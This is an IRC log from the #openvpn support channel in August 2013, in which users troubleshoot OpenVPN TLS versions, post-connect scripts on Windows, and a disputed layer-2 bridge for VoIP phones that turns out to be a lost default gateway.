14:25 < Wheelz> Hello. Has anyone been able to establish a TLSv1.2 connection with OpenVPN?
14:28 < Aketzu> erm?
14:32 <+pekster> Wheelz: Are you attempting to modify the source to do that? See your system documenation for SSL_CTX_new(3) and the calls to that function in ssl_openssl.c in the sources
14:32 <+pekster> But no, the current codebase uses TLSv1_server_method() or TLSv1_client_method() at present
14:34 -!- Sazpaimon_ [~wat@96.227.217.235] has quit [Changing host]
14:34 -!- Sazpaimon_ [~wat@unaffiliated/Sazpaimon] has joined #openvpn
14:34 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Excess Flood]
14:35 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
14:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:41 < Wheelz> OK. Thanks! Any idea of when it would be implemented since OpenSSL has TLS 1.2 support?
14:41 -!- fischli [~fischli@31.25.152.181] has quit [Quit: Leaving.]
14:42 -!- TheSov [~TheSov@12.69.170.2] has joined #openvpn
14:45 < TheSov> Im trying to bridge an aws server to my network and this is what i have, http://pastebin.com/v7Kr7iBp can anyone tell me what im doing wrong?
15:01 -!- mirco [~mirco@p508027F1.dip0.t-ipconnect.de] has quit [Quit: mirco]
15:08 <+pekster> Wheelz: It'll take someone to implement the required handshake features. Right now it appears any attempt to use the 'Suite B' ciphers fails with a tls_read_plaintext error when OpenSSL returns "no ciphers aavilable" (looks like a straight up lack of support, despite openssl potentially having TLSv1.2 ciphersuites)
15:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
15:10 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:10 <+pekster> TheSov: Looks fine, but why are you bridging? Most people who attempt to bridge run into either OS issues setting up the actual bridge interface properly, or run into firewall or other complications. Bridging is inherently more complex than routing becuase it has OS-level implications
15:10 <+pekster> !whybridge
15:10 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
15:12 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: No buffer space available]
15:13 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
15:36 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
15:43 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
15:44 < Wheelz> pekster: Thank you for that information.
15:44 <+pekster> Wheelz: I'm not quite sure why the --show-tls prints ciphers that then can't be used later in the handshake, since show_available_tls_ciphers() uses the same TLSv1_method() call. It must be a nuance in the OpenSSL API, but I don't have a lot of knowledge about how OpenSSL's internals work
15:46 <+pekster> see SSL_CTX_new(3) for details, and sound patches can be send to the developer ML if you are interested in hacking
15:48 <+pekster> http://www.mail-archive.com/openssl-users@openssl.org/msg68454.html is a useful resource too since the official openssl docs are lacking in the 1.2 method calls
15:48 <@vpnHelper> Title: RE: Negotiating TLS 1.0 from 1.2 (at www.mail-archive.com)
15:48 <+pekster> Dunno, there's been surprisingly little interest/documentaion from what I can see
15:49 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:50 -!- igubenko [~Drsed@ool-ae2c76db.dyn.optonline.net] has joined #openvpn
15:51 < igubenko> hello guys. What's the proper client side option to run a script, after all dhcp options have been pushed/instantiated? I tried --up and --route-up, but none seem to work...
15:52 -!- trumee [~parul@93.186.150.236] has quit [Read error: Connection reset by peer]
15:52 <+pekster> fwiw, openssl has the SSL_METHOD defined in ssl.h at line 1878-1880. Just no API docs for it (yet)
15:54 <+pekster> igubenko: You may want the --route-up along with --route-delay options
15:54 <+pekster> It all depends on how long your userland needs to "pick up and apply" the changes
15:56 < igubenko> pekster - it needs to map a Samba drive? when connected, the script runs very quickly, mounting the drives. when ran during connection, it waits for a while, and then logs "network name could not be found"
15:57 -!- trumee [~parul@93.186.150.236] has joined #openvpn
15:57 < igubenko> I think i tried route-delay
15:58 <+pekster> I'd recommend using FQDNs for that stuff
15:59 <+pekster> Windows has so many stupid things it does, such as delaying the population of the "global search suffix" which is an amalgamation of all the individual interface's search suffix listings, yet it doesn't update anytime you change one necessarily
16:00 < igubenko> didn't try the fqdn?tried ip's though, and that didn't work
16:00 <+pekster> I hacked around that in --up scripts at old jobs by setting some arbitrary value on the interface (IIRC I used the dynamic DNS property of the field asking for PTR updates, setting it to off as we didn't use that) and it "magically" triggered an update
16:00 <+pekster> If IPs don't work then you're not connected to the VPN or a firewall is blocking traffic
16:00 <+pekster> Or perhaps you don't have SSO supported (and that's not an openvpn issue)
16:00 < igubenko> but the script works just fine from the command line a moment later
16:00 < igubenko> SSO?
16:01 <+pekster> single sign on
16:01 <+pekster> ie: need credentials or such
16:01 < igubenko> that's not an issue?my script queries for this, and uses them to mount the drives
16:02 < igubenko> SSO - i.e Kerberos?
16:02 <+pekster> ie: running your domain the way Windows domains are run
16:03 <+pekster> So the issue is what, the DNS lookup fails? It goes to the wrong server? It can't send a packet?
16:03 <+pekster> You need to define what the actual problem is, not the symptom
16:03 < TheSov> pekster, im bridging to so i route multiple times
16:03 <+pekster> huh? bridging is L2, routing is L3
16:03 < TheSov> pekster, when i attempt to connect literally nothing happens
16:03 < TheSov> yes i know
16:04 <+pekster> "literally nothing" ? You get *no* logs at all? Try again
16:04 <+pekster> !logs
16:04 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:04 <+pekster> !logfile
16:04 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
16:04 <+pekster> !paste
16:04 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
16:04 <+pekster> Start there
16:04 < TheSov> i get a log from the client
16:04 < TheSov> but not server
16:04 <+pekster> No, you get a log
16:04 < TheSov> ok ill paste both of them
16:04 <+pekster> You may be putting it somewhere you don't expect, bute ven at --verb 0 openvpn *always* logs
16:04 < TheSov> 1 moment, and thanks so much for the help so far
16:04 <+pekster> verb 4 will be useful (less hides important details)
16:05 -!- mattock is now known as mattock_afk
16:05 < igubenko> pekster - let me tcpdump at the server side, to see what happens
16:06 <+pekster> And really, don't bridge. In case that point was lost, bridging is *ONLY* required if you need raw Ethernet frame support
16:07 < TheSov> http://pastebin.com/EatAwBd4 and then they just sit at that.
16:07 < TheSov> i do require layer 2 connectivity
16:08 < TheSov> on the client i get 2 more lines after 2 minutes , Thu Aug  8 21:05:13 2013 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
16:08 < TheSov> Thu Aug  8 21:05:13 2013 TLS Error: TLS handshake failed
16:08 <+pekster> What for? multicast? MDNS?
16:08 < TheSov> ipsec
16:08 <+pekster> IPSec operates at the IP layer, not the Ethernet layer
16:08 <+pekster> (this is why you can IPSec to things off your LAN)
16:08 <+pekster> So no, that's not a valid reason to bridge
16:08 < TheSov> i have an ipsec tunnel
16:08 <+pekster> And really, why would you IPSec *over* OpenVPN?
16:08 < TheSov> and i need to bridge 2 networks
16:09 < TheSov> into 1
16:09 <+pekster> But *why* ?
16:09 < TheSov> hitech
16:09 < TheSov> the medical bill
16:09 <+pekster> what?
16:09 <+pekster> You need a bridge because of a medical bill?
16:09 <+pekster> No really do not want to bridge
16:09 <+pekster> Try routing
16:09 < TheSov> http://alnmm.com/article/hitech-act-faq
16:10 < TheSov> you cannot route via ipsec
16:10 <+pekster> Okay. stop.
16:10 < TheSov> i swear to you in all that is holy i really need to bridge these networks, but they must be connect to each via ipsec, by law.
16:10 <+pekster> OpenVPN is not IPSEc
16:10 <+pekster> If you need IPSec, OpenVPN is not what you want
16:10 < rob0> And you MUST help!
16:10 <+pekster> Apparently
16:11 <+pekster> !notcompat
16:11 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
16:11 <+pekster> https://en.wikipedia.org/wiki/IPsec
16:11 <@vpnHelper> Title: IPsec - Wikipedia, the free encyclopedia (at en.wikipedia.org)
16:11 < TheSov> i really appreciate your help on this, but i know what ipsec is, i know what openvpn is. I had this working via pfsense, i need it to work without pfsense
16:12 <+pekster> You apparently haven't a clue what you're doing is you're claiming you need L2 for IPSec. You also (probably) have no clue what you're doing if you are trying to make IPSec work *over* an OpenVPN tunnel
16:12 <+pekster> I've really lost interest in your problem
16:12 < TheSov> pekster, i havent made any of those claims
16:12 < TheSov> you have claims
16:12 < TheSov> i said by law, remote offices must connect via ipsec
16:13 < TheSov> and then i said, i need to bridge them
16:13 <+pekster> You have no clue why you're bridging
16:13 < TheSov> im bridging because our softphones dont work across subnets
16:13 < TheSov> they need to connect to the avaya device directly
16:13 <+pekster> Then you have awful phones. Try SIP and RTP
16:14 < TheSov> no gateway, or else we need a different softphone package
16:14 <+pekster> Asterisk is fantastic. If you're an "enterprise" it's time to grow up and act like one
16:15 < TheSov> ok thanks for trying
16:15 < igubenko> pekster - any way to make openvpn continue connecting, and not stopping while it executes the script?
16:15 <+pekster> At any rate, if you can't connect to the host, it's a firewall or routing issue
16:15 < TheSov> the softphones will not route.
16:15 < TheSov> period they are site licensed
16:15 <+pekster> igubenko: Use some form of a fork and return a successful status to openvpn
16:16 < igubenko> that's a good idea!
16:16 <+pekster> That sucks. Buy non-crappy products next time. Aastra has wonderul phones that actually work
16:16 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:17 <+pekster> Your logs also were not at the verbosity I asked for. I've lost interest in trying to help
16:17 < TheSov> can you please help me determine why its not bridging?
16:17 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
16:19 <+pekster> Nope. Maybe someone else is willing to help. You've been defensive, confused basic protocols, can't follow directions, and apparently are trying to connect to port 80 when the ocnfigs you pasted earlier are using port 53. I've flat out lost interest
16:19 < TheSov> yes i changed them to 80
16:19 < TheSov> both sides
16:23 < igubenko> TheSov - if your server is not getting past "Initialization sequence?", this means that the client is not reaching it?most likely
16:23 < igubenko> why don't you try using "tcpdump" to determine if anything gets to your server?
16:23 < TheSov> thanks im looking it all over again now, I must have missed something
16:24 < igubenko> keep in mind, that IPSec over OpenVPN will cause significant overhead
16:25 < igubenko> why are you trying OpenVPN at all? IPSec can do great with point-to-point tunneling?
16:25 < TheSov> ovpn over ipsec
16:25 < igubenko> also lots of overhead, and also doesn't make that much sense...
16:29 < TheSov> i understand
16:29 < igubenko> do your softphones work on broadcasts?
16:29 < TheSov> I believe they do to connect to the CM
16:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:30 < igubenko> if they don't need broadcasts, you don't need L2
16:30 < igubenko> L2 is just useful for stuff working on broadcasts
16:31 < igubenko> why don't they work cross subnets?
16:31 < TheSov> I'm not the phone guy, hes the one who works this all out, the phone guy said we need a layer 2 connection or they wont work
16:32 -!- Denial [Denial@90.202.5.141] has quit []
16:32 < TheSov> we have purchased special licenses for the remote users, they get a totally different softphone
16:32 < igubenko> maybe you should start by asking him why? because you are looking at headache..and slow headache too
16:33 < igubenko> you should def first get the technical specifics from him
16:33 < TheSov> I think i will just go back to using pfsense, it seems no available has the nuanced knowledge to bridge
16:34 < igubenko> i just configured bridging recently?but like pekster, i think that you are looking at the wrong solution
16:37 < igubenko> anyways, keep in mind - if you bridge, you cannot have a dhcp server on each side?. it will essentially be one subnet
16:37 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
16:37 < igubenko> so, you'll need to renumber one side or the other
16:38 < TheSov> there is nothing on the other side other than a router and pc's
16:38 < igubenko> router with dhcp probably
16:38 < TheSov> no
16:38 < igubenko> well, just keep it in mind - one dhcp server, and it has to be numbered the same
16:38 < TheSov> sigh
16:39 < TheSov> do you think im some kind of network noob?
16:39 < igubenko> how am I supposed to know? pekster lost patience here
16:39 < igubenko> :)
16:40 < TheSov> thats because he chose to argue with my premise rather than actually listen, and questioned my motives rather than help
16:40 < TheSov> which is ok, i get it. its difficult to be on irc all day helping people
16:40 <+pekster> No, I stopped caring when I asked for logs at verb 4 that might have actually helped and you caouldn't do that
16:40 < rob0> I chose to do my own work rather than try to help
16:41 <+pekster> Well, and that too
16:41 < igubenko> guys, maybe it's time for a bar? ;-)
16:41 < TheSov> pekster, im sorry i missed where you asked for verb 4, i saw it afterwards but at that point you seemed pissed
16:41 < igubenko> what time is it?
16:41 < TheSov> 442
16:42 < igubenko> ah, you're central
16:42 <+pekster> Oh, that's just one of the issues. Your attempt to claim you needed bridging for IPSec was also very silly, as is your declarartion that VoIP requires bridging (I can assure you it doesn't as I've designed, compiled an OS for, and configured remote VoIP-over-VPN before)
16:43  * pekster shrugs. Your issue isn't even bridging if you can't get the VPN connected; it's about non-delivery of packets to your endpoint
16:43 < TheSov> i never said that, see you dont listen
16:43 < TheSov> i said im required to connect remote offices by ipsec
16:43 <+pekster> IPSec has no role in #openvpn
16:43 < TheSov> exactly
16:44 <+pekster> What that has to do with your bridge is beyond me. You're the one that brought it up. It's off-topic here
16:44 < TheSov> the connect between offices is made, its routed. but i need to bridge the other side because only the router over there has that setup
16:44 <+pekster> "that setup" ?
16:44 < Aketzu> you can make bridge also with other means than openvpn
16:44 < igubenko> what setup?
16:44 <+pekster> My crystal ball is out for repairs
16:44 < TheSov> a different IP address to make a connection
16:45 < TheSov> i guess i should draw a diagram or something
16:45 < igubenko> configure that router with a proper route to route your traffic
16:45 < igubenko> yes, maybe that would be helpful
16:45 < TheSov> i need to bridge igubenko
16:45 -!- bigDoggy [brads@2600:3c01::f03c:91ff:feae:9ef3] has quit [Quit: No windows for this server]
16:46 < igubenko> because the phone guy said so? don't want to fight with the phone guy?
16:46 < TheSov> i feel like im just repeating myself
16:46 <+pekster> You'll find a complete lack of love for bridging here becuase it's the wrong tool for the job for most people. Those it's the right tool for generally already know how to get what they want and why they're doing it and thus don't end up here
16:46 < TheSov> ok then i wont be bothering you guys anymore
16:46 <+pekster> I'm actually willing (unlike many others here) to help with bridging if there's a valid reason for it, and sane configs/logs posted
16:47 < igubenko> pekster - i have to disagree, as I've found some peculiarities with it (such as the default route propagation)...
16:47 < igubenko> which you helped me with last time btw
16:47 <+pekster> All you need to give me in return is a clearly, concise, and decent reason for doing it
16:47 < TheSov> i switched verb to 4 lets see if i can gleen any info from it
16:48 < TheSov> thanks for the heads up
16:48 <+pekster> So, why are you bridging?
16:48 <+pekster> !whybridge
16:48 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
16:48 <+pekster> I presume you reason is there, or in:
16:48 <+pekster> !tunortap
16:48 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:48 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:48 < igubenko> angry phone guy?? did you see the movie "Cable Guy"?maybe it's the phone guy this time?.
16:49 < igubenko> I've actually heavily used openvpn to bridge medical offices
16:49 < TheSov> as far as i know the phones only work if they are on the same network as the communication manager server
16:49 < igubenko> well?.*route*
16:49 <+pekster> Did you even learn how VoIP works and set tftp options on remote-side DHCP setups?
16:49 < TheSov> if we want it at another site we have to purchase another CM server
16:49 <+pekster> Or did you just "assume" and figure that "as far as you know" it requires a LAN setup?
16:50 < TheSov> it doesnt matter how you think voip works, voip comes in many custom flavors
16:50 <+pekster> wtf is a "CM server" ? Is it using tftp to push a boot image?
16:50 < TheSov> I dont know, i dont deal with it.
16:50 <+pekster> Did you dump traffic and determine it's using a MAC-bassed protocl?
16:50 < TheSov> i deal with networks and storage
16:50 <+pekster> See, that's the problem
16:50 <+pekster> VoIP *is* part of networking
16:50 < TheSov> not here though
16:50 < TheSov> here thats handled by a different person
16:51 < TheSov> and yes our network is has a ton of nice broadcasts
16:51 <+pekster> Then the two of you need to spend some time discussing requirements
16:51 <+pekster> tftp is a dhcp extension, and fwiw you can *route* a tftp request; the bootp option is merely a way to inform the device where it is
16:52 < TheSov> here is what i can tell you concretely, when i took the initial pfsense openvpn bridge out, and replaced with a normal IPSEC the phones stopped working, everything else was fine.
16:52 <+pekster> (that's a netwnorking concept, btw, not a "phone" concept; VoIP phones merely use this concept at an application level)
16:52 < TheSov> after a meeting, i was told we needed a layer 2 connection to make the phones work the communication manager (aka CM)
16:52 < TheSov> thats where i am now
16:53 < TheSov> 
16:53 <+pekster> I don't know of any VoIP protocol that operates at L2. You were lied to, or at least misled
16:53 < igubenko> well, get those verb 4 logs...
16:54 < TheSov> im doing that now igubenko
16:54 < TheSov> for all i know the phone guy has no idea how to configure his shit, but now its my problem because it was all working before i changed it
16:54 < igubenko> pekster - i don't think it's voip per se?.likely the phones need to register with whatever that CM is?and they might do it via broadcasts
16:55 <+pekster> Not likely; SIP/RTP uses unicast for all of its traffic
16:55 < igubenko> the question is how they discover this CM
16:55 < igubenko> is this configured?
16:55 <+pekster> tftp, I presume
16:56 < igubenko> ah
16:56 < igubenko> that could be
16:56 <+pekster> Except since no one at this company seems to have a clue how their own stuff is set up (or can't communicate this to other departments actually configuring the network -- "oopsie") no one knows
16:57 <+pekster> Then expect the FOSS community to just go "oh, naturally, let's bridge a /20 becuase that sounds smart!"
16:57 <+pekster> garbage in, garbage out
16:58 < TheSov> http://pastebin.com/riF9H9TT verb 4 both sides.
16:59 < TheSov> asking the phone guy about tftp 1 sec
16:59 <+pekster> If you haven't even heard of tftp and its use with bootp, you must be very new to enterprise networking
16:59 < igubenko> i don't think it's reaching the server?on the UDP level
16:59 < TheSov> i know what tftp is
16:59 < TheSov> i use it to upgrade the cisco's
17:00 < TheSov> he says they connect to the manager via broadcast
17:00 <+pekster> And the cisco are fetching files at startup via the tftp-server bootp flag? I kinda doubt that
17:00 < TheSov> no, from the cisco you get from tftp
17:00 <+pekster> Stupidest device management ever, IMO. Why would people pay money for stuff like that?
17:00 < TheSov> onto its local flash
17:01 <+pekster> Yes, I know. You missed my quip (which is largely unimportant)
17:01 < TheSov> its just for upgrades
17:02 < Aketzu> pekster: have you ever seen salesguy tell you the downsides of the solution being sold :)
17:02 < igubenko> TheSov - if the openvpn connectivity is to occur over IPSec, why are you using an Internet IP for server (on the client side)?
17:02 <+pekster> "normal" phones work like this: you boot them, and they pick up an IP. Along with the bootp reply, they get a tftp-server and tftp-file handed to them, and they use this to then connect to the VoIP server where they obtain a config file. This config file then allows the phone to obtain an extension and register itself with the SIP server
17:02 <+pekster> Since solutions are avialble for free, I've no clue why one would pay money to have a solution that can't work at the IP layer since most companies don't have one "giant subnet to rule them all" anyway
17:03 <+pekster> What happens when you expand and have an office in the next city/state/country? You bridge them together? What if you have 50 offices? YOu bridge them? heh.
17:03 < Aketzu> then you just buy more stuff from the vendor
17:03 < TheSov> no by then we would buy an enterprise solution
17:03 < igubenko> pekster - people who do the purchasing look at $$? not at bridging
17:03 < plaisthos> (before that phones talk lldp and negatiote the vlan and some others parameters like POE specifics)
17:04 <+pekster> Why did you kill the client 7 seconds after staring it?
17:04 < TheSov> because they normally connect in about 3?
17:04 <+pekster> :(
17:04 <+pekster> Really?
17:04 < TheSov> i keep them on
17:04 < igubenko> TheSov - why an internet IP on the client side?
17:04 < TheSov> i did it to show u
17:04 <+pekster> A log with an error is what I expected to be shown
17:04 < TheSov> so i can copy paste the terminal windows
17:04 < TheSov> thats cool
17:04 < TheSov> 1 moment
17:05 < igubenko> aren't you going through an IPSec tunnel?
17:05 <+pekster> If it's the same one you linked above about TLS negotation failing to occur in 60 seconds, the anser is the same: fix your firewall
17:05 <+pekster> Use tcpdump like a normal network person does
17:05 <+pekster> Really, this is a lot easier than you're making it out to be
17:05 <+pekster> !101
17:05 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
17:05 < TheSov> the ipsec tunnel is gone for now,  this is just a test unit on aws cloud
17:05 < TheSov> if this works i implement it on the network
17:05 < igubenko> then it's either your firewall and/or port forwarding
17:06 < plaisthos> TheSov: sure. prbably there some tftp/dhcp and stuff preconfigured on teh server to ease small insallations
17:06 < igubenko> i don't see the client reaching the server
17:06 <+pekster> Follow the packets: clearly they aren't getting to the server and back, so you need to figure out why. Pretend you're the packet and follow it along. Or go to your community college and ask a 1st year networking student to show you how
17:06 < igubenko> on the server -   tcpdump -i <your interface> udp port 80
17:06 < TheSov> igubenko,  you genius!
17:06 < igubenko> try connecting
17:07 <+pekster> (right, there's no "initial packet received" message in the sever log)
17:07 < TheSov> the bridging adaptor was taking the ip of the normal nic and wiping out the default gw!
17:07 <+pekster> That's how bridging works...
17:07 < TheSov> yes i wasnt aware i had to set the GW again
17:07 <+pekster> You don't have a "normal NIC" anymore when you bridge
17:07 < TheSov> i had the ip set again
17:07 < TheSov> but not the gw
17:09 < TheSov> ok! now im connected but getting some other stuff, thank you so much
17:09 < igubenko> great
17:10 < TheSov> Thu Aug  8 22:07:15 2013 us=82253 TLS Error: Unroutable control packet received from [AF_INET]50.76.75.45:80 (si=3 op=P_ACK_V1)
17:10 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
17:10 <+pekster> Out of context that is not very helpful. It's simply telling you "this encrypted packet came in not associated with an active connectoin"
17:13 < TheSov> i see
17:14 <+pekster> heh, fwiw your phone guys are idiots
17:14 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
17:14 <+pekster> http://www.gossamer-threads.com/lists/cisco/nsp/53122
17:14 <@vpnHelper> Title: Phone Registration Rejected | Cisco | VOIP (at www.gossamer-threads.com)
17:14 <+pekster> CM *is* using tftp
17:14 <+pekster> Which means it works fine across a routed setup if you configure either remote-side DHCP, or dhcp-request-proxying
17:15 < TheSov> motherfucker im gonna kill that guy
17:15 < TheSov> thanks
17:15 <+pekster> I mean, you can bridge too
17:15 < TheSov> im taking this to the boss
17:15 < TheSov> no no
17:15 < TheSov> this is his problem and hes pushing it on me
17:15 < plaisthos> but it easier for him if you just do l2 bridging
17:16 < plaisthos> so he has to do nothing :)
17:16 < igubenko> lol?.."the phone guy" vs. TheSov
17:16 < igubenko> choose your destiny
17:16 <+pekster> It's not even hard to add in the right tftp details to a remotely run DHCP sever. In fact, if you're clever, you don't even have to get his help to make it work by looking at the values the bootp replies return
17:17 < TheSov> i just IM'd the boss with your link
17:17 <+pekster> https://duckduckgo.com/?q=VoIP+%22CM+Server%22+boot
17:17 <@vpnHelper> Title: VoIP "CM Server" boot at DuckDuckGo (at duckduckgo.com)
17:17 <+pekster> Next time, spend 10 minutes learning how the protocols you're "supporting" work
17:18 < TheSov> I was just doing what my boss told me to do, I didnt realize this is because some other Ahole was lazy
17:18 < TheSov> or inept
17:18 < TheSov> or both
17:18 <+pekster> Well, #openvpn can't fix that either :)
17:18 <+pekster> plaisthos: Where's the --enable-magic flag patch? :)
17:18 <+pekster> Oh, wait, --enable-more-magic (sorry!)
17:19 <+pekster> !magic
17:19 <@vpnHelper> "magic" is For a story about magic read http://www.catb.org/jargon/html/magic-story.html
17:25 < TheSov> not getting a response from boss, he might already be gone for the day, lord knows managment cant stay past 5
17:30 < igubenko> well, I for one, learned more about VoIP today
17:30 < plaisthos> and now new icon for android users!
17:32 < igubenko> pekster - solved my issue? I put the prompting/connecting script to run in background, so while the user types the password, openvpn finishes connecting and it works
17:33 < igubenko> I learned more powershell than I ever wanted?. modifying a registry entry to enable the user seeing/accessing mounts done in elevated mode
17:33 < igubenko> maybe i should blog it
17:33 < igubenko> or share the script
17:38 -!- fester [~fester@rhlug/fester] has left #openvpn ["WeeChat 0.3.8"]
17:42 < TheSov> ok i dont have to bridge them anymore, the boss said to hold it until tomorrow when we talk to the phone guy.
17:42 < TheSov> thanks for everything guys
17:42 < TheSov> i appreciate the patience
17:45 < igubenko> good luck
17:46 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit []
18:03 -!- igubenko [~Drsed@ool-ae2c76db.dyn.optonline.net] has quit [Quit: Leaving]
18:05 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
18:14 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:48 -!- p3rror [~p3rror@adsl196-209-22-217-196.adsl196-9.iam.net.ma] has quit [Read error: Operation timed out]
18:48 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:48 -!- mode/#openvpn [+v s7r] by ChanServ
18:49 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:57 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
18:57 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds]
18:59 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
19:01 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
19:01 -!- mode/#openvpn [+v s7r] by ChanServ
19:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:13 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
19:17 -!- raidz is now known as raidz_away
19:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:32 -!- p3rror [~p3rror@adsl196-209-22-217-196.adsl196-9.iam.net.ma] has joined #openvpn
19:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
19:36 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
19:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
19:59 -!- tgunr [~davec@pool-71-165-28-65.lsanca.fios.verizon.net] has quit [Read error: Connection reset by peer]
20:14 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
20:58 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
20:58 -!- ugoub [~wangz@118.113.189.90] has joined #openvpn
21:03 -!- ugoub [~wangz@118.113.189.90] has quit [Ping timeout: 240 seconds]
21:11 -!- ugoub [~wangz@184.22.125.15] has joined #openvpn
21:15 -!- ugoub [~wangz@184.22.125.15] has quit [Ping timeout: 256 seconds]
21:16 -!- ugoub [~wangz@184.22.125.15] has joined #openvpn
21:47 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
22:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 264 seconds]
22:05 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
22:09 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
22:09 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:10 -!- p3rror [~p3rror@adsl196-209-22-217-196.adsl196-9.iam.net.ma] has quit [Quit: Leaving]
22:28 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 264 seconds]
--- Day changed Fri Aug 09 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:01 -!- arnotixe_ [~arno@ti0013a380-dhcp5562.bb.online.no] has quit [Ping timeout: 264 seconds]
00:25 -!- jeev [~j@unaffiliated/jeev] has quit [Ping timeout: 240 seconds]
01:05 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
01:19 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:19 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:19 -!- dazo_afk is now known as dazo
01:35 -!- oc80z [~oc80z@blea.ch] has quit [Ping timeout: 264 seconds]
01:38 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
01:40 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:41 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
02:02 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
